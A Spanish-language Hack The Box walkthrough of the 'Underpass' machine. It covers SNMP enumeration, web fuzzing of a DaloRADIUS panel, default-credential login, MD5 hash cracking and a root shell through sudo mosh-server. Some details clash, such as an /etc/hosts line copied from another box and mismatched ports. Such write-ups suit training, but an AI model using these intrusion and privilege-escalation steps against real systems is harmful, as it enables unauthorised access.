Pentest Notes
  • 🏠/home/x3m1Sec/.pt-notes
  • 📝Pentest Notes
    • 🔍Information Gathering
    • 📜Protocols and Services
      • DNS Port (53)
      • FTP Port (21)
      • IMAP Ports (143,993)
      • IPMI Port (623)
      • Kerberos Port (88)
      • MSSQL Port (1433)
      • MySQL Port (3306)
      • NFS Ports (111,2049)
      • NetBIOS Ports (137,138,139)
      • Oracle TNS Port (1521)
      • POP3 Port (110)
      • PostgreSQL Port (5432)
      • RDP Port (3389)
      • SMB Ports (139,445)
      • SMTP Port (25)
      • SNMP Ports (161,162)
      • Java RMI Port (1099)
      • LDAP Ports (389,636)
      • Apache Tomcat Ports (8080,8180)
      • Port 123 - NTP
      • RPCBind Ports (111,32771)
      • Email Services
      • Nmap Commands for Port Discovery
    • 🕸️Web Applications
      • Web Attacks
        • Cross Site Scripting (XSS)
        • SQL Injection (SQLi)
        • File Upload Vulnerabilities
        • Insecure Direct Object References (IDOR)
        • OS Command Injection
        • Local File Inclusion (LFI)
        • Remote File Inclusion (RFI)
        • XML External Entities (XXE)
        • HTTP Verb Tampering
        • Sub-domain Enumeration
      • Web Technologies
        • Tomcat
        • CGI Applications
        • WordPress
        • SAP Netweaver
        • Joomla
        • Drupal
        • Gitlab
        • Jenkins
        • Microsoft IIS
        • osTicket
        • PRTG Network Monitor
        • Splunk
      • Fuzzing
    • 🪟Active Directory Pentesting
      • 🔍Initial Enumeration
        • 👤Enumerating Users
      • 🛠️Abusing ACLs/ACEs
      • 🏛️Active Directory Certificate Services (ADCS)
      • 🎭Attacking Kerberos
      • 🐶Bloodhound
      • 🧰Tools
        • 🩸BloodyAD
        • 📦Impacket
        • 🦁Kerbrute
        • 📚LDAPSearch
        • 🧠PowerView.py
    • 🐧Linux Privilege Escalation
      • Linux PrivEsc Summary
      • PriveEsc Checklist
      • Enumerating Attack Vectors
      • Privileged Groups
      • Environment Variables Abuse
      • Capabilities Abuse
      • Programs, Jobs and Services
      • Miscellaneous Techniques
      • Recent CVEs
    • 🪟Windows Privilege Escalation
      • PriveEsc checklist
      • Enumerating Attack Vectors
      • Excessive User Rights Abuse
      • Built-in Groups Abuse
      • File System ACLs
      • Services Hijacking
      • User Account Control (UAC) Bypass
      • Living off the Land
    • 🐛Bug Bounty Hunting
      • Bug Bounty Tools
    • 👾Utilities, Scripts and Payloads
      • Shells and Payloads
      • Metasploit Framework
      • File Transfers
      • Pivoting, Tunneling, Port Forwarding
      • Password Attacks
      • Spawn TTY Shells
  • 🎮CTFs
    • 🟩Hack The Box
      • Linux
        • Easy
          • Busqueda
          • Help
          • Sau
          • Broker
          • Sea
          • Nibbles
          • Codify
          • Cozyhosting
          • Devvortex
          • Irked
          • Keeper
          • Knife
          • Pilgrimage
          • Soccer
          • Sunday
          • Tabby
          • Usage
          • Bashed
          • Analytics
          • Networked
          • Swagshop
          • Pandora
          • OpenAdmin
          • Precious
          • Boardlight
          • Editorial
          • Linkvortex
          • Underpass
        • Medium
          • Monitored
          • Updown
          • Popcorn
          • Jarvis
          • Mentor
          • Poison
          • Solidstate
          • Tartarsauce
          • Nineveh
          • Magic
          • Builder
        • Hard
      • Windows
        • Easy
          • Jerry
          • NetMon
        • Medium
        • Hard
    • 🔴TryHackMe
  • 🎓Road to certification
    • eJPTv2
      • My review
    • CPTS
      • Enumeration
        • Enum Cheklist
        • Initial Enumeration
      • Nmap
        • Nmap Full Flag
        • Protocol Scan
        • Scan-network-with-nmap
      • Attacking Common Applications
        • 1.Content Management Systems (CMS)
          • 1.-Wordpress-discovery-and-enumeration
          • 2.-Attacking-wordpress
          • 3.-Joomla-discovery-and-enumeration
          • 4.-Attacking-joomla
          • 5.-Drupal-discovery-and-enumeration
          • 6.-Attacking-drupal
        • 2. Servlet Containers and Software Development
          • 10.-Attacking-jenkins
          • 7.-Tomcat-discovery-and-enumeration
          • 8.-Attacking-tomcat
          • Attacking Jenkins - Focused Commands & Key Points
        • 3. Infrastructure and Network Monitoring Tools
          • 11.-Aplunk-discovery-and-enumeration
          • 12.-Attacking-splunk
          • 13.Prtg-network-monitor
        • 4. Customer Service Mgmt & Configuration Management
          • 14.-Osticket
          • 15.Gitlab-discovery-and-enumeration
          • 16.-Attacking-gitlab
        • 5. Common Gateway Interfaces
          • 17.-Attacking-tomcat-cgi
          • 18.-Attacking-cgi-applications-shellshock
        • 6. Thick Client Applications
          • 19.-Attacking-thick-client-applications
          • 20.Exploiting-web-vulnerabilities-in-thick-client-applications
        • 7. Miscellaneous Applications
          • 21.-Coldfusion-discovery-and-enumeration
          • ColdFusion Exploitation Guide
          • 23.-IIS-tilde-enumeration
          • 24.Attacking-ldap
          • 25.-Web-mass-assignment-vulnerabilities
          • 26.Attacking-applications-connecting-to-services
          • 27.Other-notable-applications
        • 8. Closing Out
          • 28.Application-hardening
      • Attacking Common Services
        • 1.Protocol-specific-attacks
        • 2.FTP
        • 3.SMB
        • 4.SQL-databases
        • 5.RDP
        • 6.DNS
        • 7.SMTP
      • Active Directory Enumeration & Attacks
        • 0. AD Pentest
          • Quick Guide To AD Pentesting
          • Active Directory: Full Attack Name
          • Active Directory Advanced Concepts
          • Active Directory Delegation
          • Beyond-Active-Directory
        • 1.Initial Enumeration
          • 1.External Recon and Enumeration Principles
          • 1.initial-enumeration-of-the-domain
          • Active-Directory-Basic-Command
        • 2.Sniffing out a Foothold
          • 3. LLMNR-NBT-NS Poisoning - from Linux
          • 4.LLMNR-NBT-NS Poisoning - from Windows
        • 3.Sighting In, Hunting For A User
          • 5.Password Spraying Overview
          • 6.Enumerating & Retrieving Password Policies
          • 7.Password Spraying - Making a Target User List
        • 4.Spray Responsibly
          • 8. Internal Password Spraying - from Linux
          • 9.Internal Password Spraying - from Windows
        • 5.Deeper Down the Rabbit Hole
          • 10. Enumerating Security Controls
          • 11. Credentialed Enumeration - from Linux
          • 12.Credentialed Enumeration - from Windows
          • 13. Living Off the Land
        • 6.Cooking with Fire
          • 14.Kerberoasting - from Linux
          • 15. Kerberoasting - from Windows
          • Kerberoasting Attack Step by Step Guide
          • Kerberoasting Attack Step by Step Guide
        • 7.An ACE in the Hole
          • 16.Access Control List (ACL) Abuse Primer
          • 17. ACL Enumeration
          • 18. ACL Abuse Tactics
          • 19. DCSync
        • 8.Stacking The Deck
          • 20.Privileged Access
          • 21.Kerberos Double Hop Problem
          • 22.Bleeding Edge Vulnerabilities
          • 23.Miscellaneous Misconfigurations
        • 9.Why So Trusting
          • 24.Domain Trusts Primer
          • 25.Attacking Domain Trusts - Child - Parent Trusts - from Windows
          • 26. Attacking Domain Trusts - Child - Parent Trusts - from Linux
        • 10.Breaking Down Boundaries
          • 27.Attacking Domain Trusts - Cross-Forest Trust Abuse - from Windows
          • 28.Attacking Domain Trusts - Cross-Forest Trust Abuse - from Linux
        • 11.Defensive Considerations
          • 29.Hardening-active-directory
          • 30.Additional AD Auditing Techniques
      • Linux Privilege Escalation
        • Linux-hardening
        • Linux-priv-esc-to-quick-check-the-system
        • 1.Information Gathering
          • 1.Environment-enumeration
          • 2.Linux-services-and-internals-enumeration
          • 3.Credential-hunting
        • 2.Environment-based Privilege Escalation
          • 4.Path-abuse
          • 5.Wildcard-abuse
          • 6.Escaping-restricted-shells
        • 3.Permissions-based Privilege Escalation
          • 10.Capabilities
          • 7.-Special-permissions
          • 8.Sudo-rights-abuse
          • 9.Privileged-groups
        • 4.Service-based Privilege Escalation
          • 11.Vulnerable-services
          • 12.Cron-job-abuse
          • LXC Privilege Escalation Techniques
          • 14.-Docker
          • 15.Kubernetes
          • 16.Logrotate
          • 17.Miscellaneous-techniques
        • 5.Linux Internals-based Privilege Escalation
          • 18.Kernel-exploits
          • 19.Shared-libraries
          • 20.Shared-object-hijacking
          • 21.Python-library-hijacking
        • 6.Recent 0-Days
          • 22.Sudo
          • 23.Polkit
          • 24.Dirty-pipe
          • 25.Netfilter
      • Windows Privilege Escalation
        • Priv-Esc
        • 1.Getting the Lay of the Land
          • 1.Situational-awareness
          • 2.Initial-enumeration
          • 3.Communication-with-processes
        • 2.Windows User Privileges
          • 4.windows-privileges-overview
          • 5.Seimpersonate-and-seassignprimarytoken
          • 6.Sedebugprivilege
          • Exploiting SeTakeOwnershipPrivilege
        • 3.Windows Group Privileges
          • 10.DNSadmins
          • 11.Hyper-v-administrators
          • Key Concepts:
          • Key Concepts:
          • 8.Windows-built-in-groups
          • Exploiting Event Log Readers Group for Security Log Access
        • 4.Attacking the OS
          • 14.User-account-control
          • 15.Weak-permissions
          • 16.Kernel-exploits
          • 17.Vulnerable-services
          • 18.DLL-injection
        • 5.Credential Theft
          • 19.Credential-hunting
          • 20.Other-files
          • 21.Further-credential-theft
        • 6.Restricted Environments
          • 22.-Citrix-breakout
        • 7.Additional Techniques
          • 23.Interacting-with-users
          • 24.Pillaging
          • 25.Miscellaneous-techniques
        • 8.Dealing with End of Life Systems
          • Key Points:
          • 27.windows-server
          • 28.windows-desktop-versions
      • Server-side Attacks
        • Server-side-vulnerabilities
      • Web Attacks
        • 1.-HTTP-verb-tampering
        • 2.-Insecure-direct-object-references-idor
        • 3.-XML-external-entity-xxe-injection
        • Web-attacks-to-the-point
      • Web Service & API Attacks
        • web-service-and-api-attacks
      • Command-injections
      • SQL-injection
      • XSS
        • XSS-based Session Hijacking
      • Broken Authentication
      • Login-brute-forcing
      • Password-attacks
      • Password-cracking
      • Session Security Guide
      • File-transfer
      • File-upload-attacks
      • Shells and payloads
      • Upgrading-tty-shell
      • Using-the-metasploit-framework
      • File Inclusion
        • 1.File Disclosure
          • 1.Local-file-inclusion-lfi
          • 2.Basic-bypasses
          • 3.PHP-filters
        • 2.Remote Code Execution
          • 4.PHP-wrappers
          • 5.Remote-file-inclusion-rfi
          • 6.LFI-and-file-uploads
          • 7.LOG-poisoning
        • 3.Automation and Prevention
          • 8.Automated-scanning
          • 9.File-inclusion-prevention
      • Ligolo-ng
      • Pivoting-tunneling-and-port-forwarding
      • TIPS
      • CheatSheet
    • OSCP
      • Preparation
      • Cheatsheets
      • Machine List
  • 📚Resources
    • Cheat Sheets
      • Default Passwords
      • Kerberoast
      • Mimikatz
      • Powerup
    • Hashcat Word lists and Rules
    • Metasploit Modules
    • Misc Snippets
    • GTFOBins
    • LOLBAS
    • WADCOMS
    • Reverse Shell Generator
    • Pentestmonkey Revshell
    • OSINT Tools
    • Weakpass
Powered by GitBook
On this page
  • 📝 Descripción
  • 🔭 Reconocimiento
  • 🌐 Enumeración Web
  1. CTFs
  2. Hack The Box
  3. Linux
  4. Easy

Underpass

PreviousLinkvortexNextMedium

Last updated 2 days ago

Publicado: 08 de Junio de 2025 Autor: José Miguel Romero aKa x3m1Sec Dificultad: ⭐ Easy

📝 Descripción

Underpass es una máquina Linux de dificultad Easy de HackTheBox que presenta un escenario realista de administración de servicios RADIUS. La explotación se centra en el descubrimiento de información sensible a través de SNMP, seguido de la enumeración de un panel web de DaloRADIUS mal configurado que expone credenciales de usuarios.

🎯 Objetivos de Aprendizaje

  • Enumeración SNMP: Técnicas de reconocimiento usando protocolos de gestión de red

  • Explotación Web: Análisis de aplicaciones RADIUS y paneles administrativos

  • Cracking de Hashes: Recuperación de credenciales mediante ataques de diccionario

  • Escalada de Privilegios: Abuso de binarios con permisos sudo para ganar acceso root

🔧 Tecnologías Involucradas

  • SNMP v1/v2c: Protocolo de gestión de red para descobrimiento de información

  • DaloRADIUS 2.2 beta: Panel web de administración RADIUS

  • Apache 2.4.52: Servidor web con aplicaciones PHP

  • Mosh (Mobile Shell): Herramienta de shell remoto con vulnerabilidad de escalada

📊 Categorías de Vulnerabilidades

  • Information Disclosure via SNMP

  • Weak Authentication en paneles administrativos

  • Password Hash Exposure en bases de datos

  • Sudo Misconfiguration para escalada de privilegios

🔭 Reconocimiento

Ping para verificación en base a TTL

❯ ping -c2 10.10.11.48          
PING 10.10.11.48 (10.10.11.48) 56(84) bytes of data.
64 bytes from 10.10.11.48: icmp_seq=1 ttl=63 time=43.7 ms
64 bytes from 10.10.11.48: icmp_seq=2 ttl=63 time=43.8 ms

--- 10.10.11.48 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1004ms
rtt min/avg/max/mdev = 43.734/43.762/43.791/0.028 ms
                                                                  

💡 Nota: El TTL cercano a 64 sugiere que probablemente sea una máquina Linux.

Escaneo de puertos TCP

ports=$(nmap -p- --min-rate=1000 -T4 10.10.11.48 | grep ^[0-9] | cut -d '/' -f1 | tr '\n' ',' | sed s/,$//)
❯ echo $ports                                        
22,80

Enumeración de servicios

❯ nmap -sC -sV -p$ports 10.10.11.48 -oN services.txt         
Starting Nmap 7.95 ( https://nmap.org ) at 2025-06-08 11:56 CEST
Nmap scan report for 10.10.11.48
Host is up (0.049s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 48:b0:d2:c7:29:26:ae:3d:fb:b7:6b:0f:f5:4d:2a:ea (ECDSA)
|_  256 cb:61:64:b8:1b:1b:b5:ba:b8:45:86:c5:16:bb:e2:a2 (ED25519)
80/tcp open  http    Apache httpd 2.4.52 ((Ubuntu))
|_http-title: Apache2 Ubuntu Default Page: It works
|_http-server-header: Apache/2.4.52 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Escaneo de puertos UDP

nmap -sU  -F 10.10.11.48                          
Starting Nmap 7.95 ( https://nmap.org ) at 2025-06-08 12:16 CEST
Nmap scan report for 10.10.11.48
Host is up (0.044s latency).
Not shown: 97 closed udp ports (port-unreach)
PORT     STATE         SERVICE
161/udp  open          snmp
1812/udp open|filtered radius
1813/udp open|filtered radacct

🐍 Análisis del puerto 161 UDP SNMP

Usamos la herramienta snmpbrute para intentar descubrir recursos en red con nombres comunidades públicas que puedan estar expuestas en este servicio

snmpbrute -t 10.10.11.48     

Usamos la herramienta snmp-check para extraer strings de las comunidades enumeradas anteriormente para ver si descubrimos algún recurso interensante:

 snmp-check -c public -v1 10.10.11.48 

No descubrimos nada más alla del nombre de vhost que añadiremos a nuestro fichero /etc/hosts, la versión del kernel de linux del host y un usuario llamado steve

⚠️ Debemos añadir el siguiente vhost a nuestro fichero /etc/hosts

echo "10.10.11.47 linkvortex.htb" | sudo tee -a /etc/hosts

🌐 Enumeración Web

🏠 Puerto 80 HTTP (underpass.htb)

No encontramos gran cosa al enumerar el sitio de forma manual salvo la típica web de apache en construcción.

📂 Fuzzing de directorios

Tras probar a realizar fuzzing de directorios con ferxobuster y la lista /usr/share/seclists/Discovery/Web-Content/common.txt encontramos algunos recursos interesantes:

feroxbuster -u http://10.10.11.48 -r  -w /usr/share/seclists/Discovery/Web-Content/common.txt  --scan-dir-listings -C 503 -x php,xml 

📝 ChangeLog de DaloRADIUS

http://10.10.11.48/daloradius/ChangeLog

🙈 Archivo .gitignore

http://10.10.11.48/daloradius/.gitignore

.idea/
*.log
*.db
invoice_preview.html
.DS_Store
data/
internal_data/

var/log/*.log
var/backup/*.sql
app/common/includes/daloradius.conf.php
app/common/library/htmlpurifier/HTMLPurifier/DefinitionCache/Serializer/HTML/*

Usando la herramienta dirsearch para realizar fuzzing sobre 10.10.11.48/daloradius añadimos algunos nuevos resultados a nuestro scope:

dirsearch -u 10.10.11.48/daloradius -x 503

🐳 Descubrimiento del Docker Compose

http://10.10.11.48/daloradius/docker-compose.yml

version: "3"

services:

  radius-mysql:
    image: mariadb:10
    container_name: radius-mysql
    restart: unless-stopped
    environment:
      - MYSQL_DATABASE=radius
      - MYSQL_USER=radius
      - MYSQL_PASSWORD=radiusdbpw
      - MYSQL_ROOT_PASSWORD=radiusrootdbpw
    volumes:
      - "./data/mysql:/var/lib/mysql"

  radius:
    container_name: radius
    build:
      context: .
      dockerfile: Dockerfile-freeradius
    restart: unless-stopped
    depends_on: 
      - radius-mysql
    ports:
      - '1812:1812/udp'
      - '1813:1813/udp'
    environment:
      - MYSQL_HOST=radius-mysql
      - MYSQL_PORT=3306
      - MYSQL_DATABASE=radius
      - MYSQL_USER=radius
      - MYSQL_PASSWORD=radiusdbpw
      # Optional settings
      - DEFAULT_CLIENT_SECRET=testing123
    volumes:
      - ./data/freeradius:/data
    # If you want to disable debug output, remove the command parameter
    command: -X

  radius-web:
    build: .
    container_name: radius-web
    restart: unless-stopped
    depends_on:
      - radius
      - radius-mysql
    ports:
      - '80:80'
      - '8000:8000'
    environment:
      - MYSQL_HOST=radius-mysql
      - MYSQL_PORT=3306
      - MYSQL_DATABASE=radius
      - MYSQL_USER=radius
      - MYSQL_PASSWORD=radiusdbpw
      # Optional Settings:
      - DEFAULT_CLIENT_SECRET=testing123
      - DEFAULT_FREERADIUS_SERVER=radius
      - MAIL_SMTPADDR=127.0.0.1
      - MAIL_PORT=25
      - MAIL_FROM=root@daloradius.xdsl.by
      - MAIL_AUTH=

    volumes:
      - ./data/daloradius:/data

http://10.10.11.48/daloradius/app/users/login.php

Buscamos credenciales por defecto para este servicio y encontramos algunas como:

Usuario: administrator Contraseña: password
Usuario: administrator Contraseña: radius 
Usuario: admin Contraseña: admin

Pero ninguna parece funcionar.

El directorio /app parece ser bastante relevante por lo que realizamos nuevamente fuzzing sobre el mismo usando en esta ocasión la lista usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt y encontramos algunos recursos adicionales para añadir a nuestro scope:

🔓 Explotación - Panel DaloRADIUS

Probamos de nuevo con las credenciales por defecto:

Usuario: administrator Contraseña: password
Usuario: administrator Contraseña: radius 
Usuario: admin Contraseña: admin

Logramos entrar con la cuenta administrator:radius

💎 Extracción de credenciales

Enumeramos información dentro del servicio para ver si encontramos algo interesante. A los pocos minutos encontramos una opción que nos permite listar información de los usuarios y encontramos un hash de un usuario llamado svcMosh:

🔨 Cracking del hash MD5

Vemos que se trata de un hash en MD5 y lo crackeamos usando hashcat y el diccionario rockyou:

nth --text '412DD4759978ACFCC81DEAB01B382403'    
hashcat -a 0 -m 0 '412DD4759978ACFCC81DEAB01B382403'  /usr/share/wordlists/rockyou.txt

🔑 Acceso inicial

Y obtenemos la contraseña: underwaterfriends. Ahora que tenemos una credencial, podemos intentar usarla con el servicio SSH para ver si es válida. Una pequeña prueba con netexec nos revela que la credencial es válida con este servicio:

 netexec ssh 10.10.11.48 -u 'svcMosh' -p 'underwaterfriends'  
0.10.11.48's password: 
Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 5.15.0-126-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

 System information as of Sun Jun  8 10:58:23 AM UTC 2025

  System load:  0.0               Processes:             226
  Usage of /:   52.4% of 6.56GB   Users logged in:       0
  Memory usage: 16%               IPv4 address for eth0: 10.10.11.48
  Swap usage:   0%


Expanded Security Maintenance for Applications is not enabled.

0 updates can be applied immediately.

Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status


The list of available updates is more than a week old.
To check for new updates run: sudo apt update

Last login: Sat Jan 11 13:29:47 2025 from 10.10.14.62
svcMosh@underpass:~$        

Obtenemos la primera flag en el directorio del usuario svcMosh:

svcMosh@underpass:~$ cd /home                                                                     svcMosh@underpass:/home$ ls -la      
total 12
drwxr-xr-x  3 root    root    4096 Dec 11 16:06 .
drwxr-xr-x 18 root    root    4096 Dec 11 16:06 ..
drwxr-x---  5 svcMosh svcMosh 4096 Jan 11 13:29 svcMosh
svcMosh@underpass:/home$ cd svcMosh/
svcMosh@underpass:~$ ls -la
total 36
drwxr-x--- 5 svcMosh svcMosh 4096 Jan 11 13:29 .
drwxr-xr-x 3 root    root    4096 Dec 11 16:06 ..
lrwxrwxrwx 1 root    root       9 Sep 22  2024 .bash_history -> /dev/null
-rw-r--r-- 1 svcMosh svcMosh  220 Sep  7  2024 .bash_logout
-rw-r--r-- 1 svcMosh svcMosh 3771 Sep  7  2024 .bashrc
drwx------ 2 svcMosh svcMosh 4096 Dec 11 16:06 .cache
drwxrwxr-x 3 svcMosh svcMosh 4096 Jan 11 13:29 .local
-rw-r--r-- 1 svcMosh svcMosh  807 Sep  7  2024 .profile
drwxr-xr-x 2 svcMosh svcMosh 4096 Dec 11 16:06 .ssh
-rw-r----- 1 root    svcMosh   33 Jun  8 09:55 user.txt
svcMosh@underpass:~$ cat user.txt

## 🚀 Escalada de privilegios

🔍 Enumeración de permisos sudo

Comprobamos que el usuario svcmosh puede ejecutar el siguiente como root:

svcMosh@underpass:~$ sudo -l
Matching Defaults entries for svcMosh on localhost:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
    use_pty

User svcMosh may run the following commands on localhost:
    (ALL) NOPASSWD: /usr/bin/mosh-server

⚡ Explotación del binario mosh-server

Mosh (Mobile Shell) es una herramienta utilizada para conexiones remotas que mantiene sesiones activas incluso cuando hay interrupciones en la red. El binario mosh-server inicia un servidor de Mosh y puede aceptar parámetros que podrían ser explotados.

En este caso, usaremos la posibilidad de ejecutarlo como sudo para ganar acceso privilegiado.

Abusar de mosh-server para escalada de privilegios

sudo /usr/bin/mosh-server new -- /bin/bash
  • sudo: Ejecuta el comando con privilegios de superusuario.

  • /usr/bin/mosh-server: El binario que tiene permisos NOPASSWD según el resultado de sudo -l. Esto permite ejecutarlo sin contraseña.

  • new: Le dice a mosh-server que inicie una nueva sesión.

  • -- /bin/bash: Especifica que se quiere abrir un intérprete de comandos (shell) /bin/bash.

  • Este comando inicia una nueva instancia de mosh-server, que en este caso ejecuta un shell interactivo (/bin/bash) como superusuario (root) debido a los permisos de sudo asignados al binario.

El servidor genera una clave (MOSH_KEY) y asigna un puerto para la sesión de conexión 60002.

Conexión al servidor con mosh-client:

Aplicamos en el comando la key, la ip local host y el puerto:

MOSH_KEY=qLZ1TE5mTvvQiy/QKfRrZw mosh-client 127.0.0.1 60001

Explicación:

  • MOSH_KEY=...: Exporta la clave de conexión generada por el servidor para que el cliente pueda autenticar la sesión.

  • mosh-client: Cliente de Mosh que se conecta al servidor.

  • 127.0.0.1: Es la dirección del localhost, ya que el servidor y cliente están en la misma máquina.

  • 60002: Es el puerto asignado al servidor mosh-server.

Resultado: Este comando establece una conexión entre el cliente y el servidor de Mosh, iniciando una sesión interactiva con permisos de root.

http://10.10.11.48/daloradius/app/operators/login.php Aquí encontramos otro panel que parece estar destinado a los administradores. Además vemos una versión del servicio (2.2 beta)

🎮
🟩